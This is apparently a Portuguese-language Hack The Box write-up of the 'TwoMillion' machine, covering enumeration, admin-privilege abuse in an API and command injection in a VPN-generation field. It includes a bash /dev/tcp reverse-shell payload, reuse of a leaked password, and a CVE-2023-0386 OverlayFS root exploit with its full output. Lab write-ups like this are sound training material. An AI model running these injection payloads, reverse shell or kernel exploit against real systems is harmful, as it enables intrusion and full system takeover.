LinkedIn

TwoMillion

#eWPT #OSWE

Reconhecimento de Rede

O primeiro passo foi determinar o sistema operacional da máquina alvo. Realizei um teste de ping para identificar o TTL (Time To Live), que sugere que o alvo é uma máquina Linux.

──╼ #ping -c 1 10.10.11.221
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=164 ms

--- 10.10.11.221 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 163.925/163.925/163.925/0.000 ms

Em seguida, realizei um scan para identificar as portas TCP abertas na máquina:

└──╼ #nmap -sS -p- --min-rate 5000 -vvv -n -Pn -oG portsTCP.gnmap 10.10.11.221
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

O scan revelou duas portas abertas: 22 (SSH) e 80 (HTTP). Para obter mais informações sobre os serviços que estão sendo executados nessas portas, executei um scan mais detalhado:

└──╼ #nmap -sCV -p 22,80 -vvv -n -Pn -oN scanTCP.nmap 10.10.11.221
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

O serviço SSH está rodando OpenSSH 8.9p1 e o serviço HTTP está rodando Nginx. O título da página HTTP sugere que o site pode estar configurado para redirecionar para http://2million.htb/.

Para verificar o funcionamento do redirecionamento, adicionei o domínio ao arquivo /etc/hosts, apontando-o para o IP da máquina alvo.

└──╼ #grep '2million' /etc/hosts
10.10.11.221    2million.htb
└──╼ #ping -c 1 2million.htb
PING 2million.htb (10.10.11.221) 56(84) bytes of data.
64 bytes from 2million.htb (10.10.11.221): icmp_seq=1 ttl=63 time=177 ms

--- 2million.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.711/176.711/176.711/0.000 ms

Explorando o Servidor Web

Para coletar informações sobre o site, utilizei o whatweb, que revelou detalhes interessantes:

└──╼ #whatweb -v 2million.htb | tee whatweb.txt
WhatWeb report for http://2million.htb
Status    : 200 OK
Title     : Hack The Box :: Penetration Testing Labs
IP        : 10.10.11.221
Country   : RESERVED, ZZ

Summary   : Cookies[PHPSESSID], Email[info@hackthebox.eu], Frame, HTML5, HTTPServer[nginx], Meta-Author[Hack The Box], nginx, Script, X-UA-Compatible[IE=edge], YouTube
...
HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx
        Date: Thu, 21 Sep 2023 03:07:29 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close
        Set-Cookie: PHPSESSID=l8kdu3k3738407l29l4hocok2p; path=/
        Expires: Thu, 19 Nov 1981 08:52:00 GMT
        Cache-Control: no-store, no-cache, must-revalidate
        Pragma: no-cache

A análise indicou que o site está rodando Nginx como servidor web e utiliza cookies PHP (PHPSESSID).

O título da página sugere que o site é uma versão antiga do Hack The Box.

Detecção de Tecnologias

Utilizei o wappalyzer para identificar tecnologias utilizadas no site. O scan revelou que o site está utilizando a biblioteca JavaScript "toaster" versão 2.1.2.

Web Crawling

Através do gospider, identifiquei as principais páginas do site:

└──╼ #gospider -s http://2million.htb/ | grep '2million.htb' | tee gospider.txt
[url] - [code-200] - http://2million.htb/
[href] - http://2million.htb/images/favicon.png
[href] - http://2million.htb/css/htb-frontpage.css
[href] - http://2million.htb/
[href] - http://2million.htb/login
[href] - http://2million.htb/invite

O site possui uma página de login e uma página de convite (/invite).

Análise de Código JavaScript

Na página de convite (/invite), o código-fonte HTML revela a presença de um script JavaScript utilizado para validar códigos de convite.

O script pode ser encontrado em /js/inviteapi.min.js e aparenta estar obfuscado.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|***makeInviteCode***|how|to|generate|verify'.split('|'),0,{}))

Este script pode ser um ponto importante para entender a lógica de validação dos códigos de convite e potencialmente encontrar vulnerabilidades ou informações sensíveis.

Pesquisando sobre o assunto, encontrei um blog que descreve um processo semelhante de obfuscação de JavaScript.

Usando a ferramenta Beautifier.io, conseguimos desofuscar o código JavaScript para uma forma mais legível:

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

O código possui duas funções principais: verifyInviteCode e makeInviteCode. A função verifyInviteCode envia uma solicitação POST para verificar um código de convite, enquanto a função makeInviteCode solicita a geração de um novo código de convite.

Decodificação e Geração de Código de Convite

Utilizei o Postman para enviar uma requisição POST para http://2million.htb/api/v1/invite/how/to/generate. A resposta contém um código encriptado em ROT13:

{
    "0": 200,
    "success": 1,
    "data": {
        "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
        "enctype": "ROT13"
    },
    "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

Decodificando o texto ROT13 usando rot13.com, obtivemos a seguinte mensagem:

  • “In order to generate the invite code, make a POST request to /api/v1/invite/generate”

Enviei uma requisição POST para /api/v1/invite/generate e obtive um código de convite:

{
    "0": 200,
    "success": 1,
    "data": {
        "code": "SllTQ0gtVTRQSkktMDlNVEstUjVCTk0=",
        "format": "encoded"
    }
}

O código está em base64, então o decodificamos:

└──╼ #echo 'SllTQ0gtVTRQSkktMDlNVEstUjVCTk0='  | base64 -d
JYSCH-U4PJI-09MTK-R5BNM

Com o código de convite decodificado, consegui acessar o painel de registro:

Após criar a conta com sucesso, conseguimos fazer login na aplicação:

Com o login efetuado, conseguimos acessar a página principal do site:

Enumeração Web Autenticado

Após o login, a aplicação exibe algumas páginas acessíveis, mas nenhuma delas parece revelar informações particularmente sensíveis. Entre as páginas disponíveis, há uma para gerar a VPN de acesso aos laboratórios:

Fuzzing na API

Explorando a API da aplicação, observei que a rota /api fornece a versão da API:

A rota /api/v1 lista diversas rotas e, curiosamente, inclui endpoints para administração:

{
    "v1": {
        "user": {
            "GET": {
                "/api/v1": "Route List",
                "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
                "/api/v1/invite/generate": "Generate invite code",
                "/api/v1/invite/verify": "Verify invite code",
                "/api/v1/user/auth": "Check if user is authenticated",
                "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
                "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
                "/api/v1/user/vpn/download": "Download OVPN file"
            },
            "POST": {
                "/api/v1/user/register": "Register a new user",
                "/api/v1/user/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "/api/v1/admin/auth": "Check if user is admin"
            },
            "POST": {
                "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "/api/v1/admin/settings/update": "Update user settings"
            }
        }
    }
}

Para verificar o status de autenticação, consultei a rota /api/v1/user/auth. O usuário autenticado, no caso, é bruno, mas ele não possui privilégios administrativos.

Explorando a Rota Admin

Observando a rota /api/v1/admin/vpn/generate, notei que inicialmente recebi uma mensagem de erro indicando um content-type inválido:

O erro ocorre porque o Content-Type da requisição não está especificado. Como estou trabalhando com JSON, defini o cabeçalho Content-Type como application/json para ver o que aconteceria.

Ao especificar o Content-Type, a resposta da API agora indicou que o parâmetro email estava faltando:

Isso fez sentido, pois estava tentando atualizar uma configuração de administrador e precisava fornecer o e-mail associado.

Adicionei o parâmetro email ao corpo da requisição. No entanto, recebi uma nova mensagem informando que o parâmetro is_admin estava faltando, o que provavelmente é necessário para promover a conta a administrador:

Como verifiquei anteriormente, minha conta tinha a flag is_admin definida como 0. Então, tentei definir o valor para 1 e realizar a requisição novamente.

A alteração foi bem-sucedida:

Para confirmar, utilizei a rota /api/v1/admin/auth e verifiquei que minha conta agora tinha privilégios administrativos:

Geração da VPN

Com a conta agora configurada como administradora, testei a rota /api/v1/admin/vpn/generate para gerar uma configuração de VPN para um usuário específico. A API inicialmente solicitou que eu especificasse o parâmetro username:

Adicionei o parâmetro username e consegui gerar o arquivo de configuração VPN com sucesso:

{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno"
}

Injeção de Comandos

Após algum tempo testando diferentes abordagens, descobri que era possível injetar comandos no parâmetro username na rota /api/v1/admin/vpn/generate:

{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; whoami #"
}

Para confirmar que a injeção de comandos estava funcionando, enviei um ping para minha máquina atacante e capturei a comunicação com o comando tcpdump -i tun0. O alvo respondeu ao ping, o que confirmou que os comandos estavam sendo executados:

{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; ; ping -c 1 10.10.14.35 #"
}

Ganhando Acesso ao Alvo

Para explorar mais, modifiquei o payload para incluir um comando de shell mais avançado.

Esse comando tenta abrir uma shell reversa para minha máquina na porta 443. Com isso, consegui obter acesso ao alvo com sucesso:

{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; bash -c 'bash -i >& /dev/tcp/10.10.14.35/443 0>&1' #"
}

Após obter uma shell reversa, decidi tratar o terminal para uma melhor interação. Usei o comando script para iniciar uma sessão com um terminal mais robusto:

www-data@2million:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.

Com a shell melhor configurada, coloquei a sessão em background com Ctrl+Z e voltei para o controle da minha máquina para verificar a conexão.

www-data@2million:~/html$ ^Z
[1]+  Stopped                 nc -nlvp 443

Em seguida, ajustei o terminal com stty para corrigir a exibição dos caracteres e reiniciei o terminal xterm:

┌─[✗]─[root@parrot]─[/home/bruno/CTF/HTB/TwoMillion]
└──╼ #stty raw -echo; fg
nc -nlvp 443
            reset xterm

Depois, defini as dimensões do terminal para correspondem ao ambiente:

┌─[root@parrot]─[/opt/tools/kiterunner]
└──╼ #stty size
58 161
www-data@2million:~/html$ stty rows 58 columns 161
www-data@2million:~/html$ export TERM=xterm SHELL=bash

Com o terminal configurado, explorei o sistema e descobri que existe o usuário admin. No diretório /home/admin, encontrei a user.txt, mas não consegui acessá-la devido às permissões:

www-data@2million:~/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
admin:x:1000:1000::/home/admin:/bin/bash

www-data@2million:~/html$ cat /home/admin/user.txt 
cat: /home/admin/user.txt: Permission denied

Para conseguir acessar o conteúdo da user.txt do usuário admin, precisava migrar de www-data para o usuário admin. Com a shell privilegiada e as permissões corretas ajustadas, poderia então explorar possíveis caminhos para a escalada de privilégios e o acesso completo ao sistema.

Migração de Usuário

Enquanto explorava o diretório web root, encontrei um arquivo .env que continha variáveis de ambiente importantes, incluindo um nome de usuário e uma senha para o banco de dados:

www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Sep 21 11:30 .
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
drwxr-xr-x  5 root root 4096 Sep 21 11:30 VPN
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Com essas credenciais em mãos, resolvi testar a senha para ver se o usuário admin a reutilizava em outras partes do sistema. Para minha surpresa, a senha era reutilizada para o login no sistema. Assim, consegui mudar para o usuário admin e finalmente acessar o conteúdo da user.txt:

www-data@2million:~/html$ su admin
Password: SuperDuperPass123
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:/var/www/html$ cat /home/admin/user.txt 
b638f81c2686dc87e6af4a8671cb6560

Escalada de Privilégios

Para validar ainda mais o acesso, tentei usar essas mesmas credenciais para acessar o sistema via SSH, e funcionou. Logo após o login, notei uma notificação que indicava a presença de um email para o usuário admin:

└──╼ #sshpass -p SuperDuperPass123 ssh admin@2million.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Sep 21 12:16:06 PM UTC 2023

  System load:           0.0
  Usage of /:            76.8% of 4.82GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.221
  IPv6 address for eth0: dead:beef::250:56ff:feb9:ab7c

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$

Resolvi investigar as aplicações de email para verificar a mensagem que me foi notificada. Encontrei os arquivos de email em /var/mail/admin e /var/spool/mail/admin.

admin@2million:~$ ls -la /var/mail/admin 
-rw-r--r-- 1 admin admin 540 Jun  2 23:20 /var/mail/admin
admin@2million:~$ ls -la /var/spool/mail/admin 
-rw-r--r-- 1 admin admin 540 Jun  2 23:20 /var/spool/mail/admin

Ao visualizar o conteúdo, descobri um email importante:

admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

O email mencionava uma vulnerabilidade crítica no kernel Linux, especificamente relacionada ao OverlayFS e FUSE. Buscando mais informações, encontrei um artigo da Datadog explicando como essa vulnerabilidade funciona e um repositório no GitHub com um exploit funcional.

Exploração do CVE-2023-0386

Segui com a preparação para a exploração:

  1. Baixei o exploit no meu ambiente local:

    └──╼ #git clone https://github.com/xkaneiki/CVE-2023-0386
Cloning into 'CVE-2023-0386'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 24 (delta 7), reused 21 (delta 5), pack-reused 0
Receiving objects: 100% (24/24), 426.11 KiB | 2.73 MiB/s, done.
Resolving deltas: 100% (7/7), done.

  2. Empacotei o exploit e servi via HTTP:

    └──╼ #zip -r CVE CVE-2023-0386/
  adding: CVE-2023-0386/ (stored 0%)
...

└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

  3. Transferi o exploit para o alvo e descompactei:

    admin@2million:/tmp/...$ wget http://10.10.14.35/CVE.zip
--2023-09-21 16:34:05--  http://10.10.14.35/CVE.zip
Connecting to 10.10.14.35:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 469628 (459K) [application/zip]
Saving to: ‘CVE.zip’

CVE.zip                                 100%[===============================================================================>] 458.62K   534KB/s    in 0.9s    

2023-09-21 16:34:06 (534 KB/s) - ‘CVE.zip’ saved [469628/469628]
    admin@2million:/tmp/...$ unzip CVE.zip 
Archive:  CVE.zip
   creating: CVE-2023-0386/
...

  4. Compilei e executei o exploit para obter acesso root:

    Compilação do exploit:

    • O comando make all foi usado para compilar os arquivos fonte fuse.c, exp.c, e getshell.c, criando os binários fuse, exp, e gc. Esses binários são necessários para explorar a vulnerabilidade.

    • Durante a compilação, foram geradas algumas advertências, mas elas não impediram a criação dos executáveis necessários.

    admin@2million:/tmp/.../CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
      |                     |     |
      |                     int   off_t {aka long int}
      |                    %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
  107 |     printf("size %d\n", size);
      |                  ~^     ~~~~
      |                   |     |
      |                   int   size_t {aka long unsigned int}
      |                  %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

    Execução do binário fuse:

    • O comando ./fuse ./ovlcap/lower ./gc & foi usado para montar um sistema de arquivos vulnerável com as permissões necessárias para a exploração.

    • Esse processo fica em segundo plano, permitindo que o exploit manipule as permissões de arquivos e diretórios.

    admin@2million:/tmp/.../CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
[1] 25088

    Execução do binário exp:

    • Finalmente, executei ./exp para explorar a vulnerabilidade. O exploit montou um sistema de arquivos e manipulou permissões para criar um arquivo file com permissões de root, permitindo a execução de comandos como root.

    • Após a execução do exploit, a escalada de privilégios foi bem-sucedida, concedendo acesso como root.

    admin@2million:/tmp/.../CVE-2023-0386$ [+] len of gc: 0x3ee0
./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 Sep 21 16:35 .
drwxr-xr-x 6 root   root     4096 Sep 21 16:35 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

Com o sucesso do exploit, consegui escalar meus privilégios e me tornar root. Finalmente, acessei a flag root:

root@2million:/tmp/.../CVE-2023-0386# cat /root/root.txt 
f571b8c886a01d3a61c2fb32a8b9981e

Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

AnteriorSquashedPróximoHTB Windows Machines

Atualizado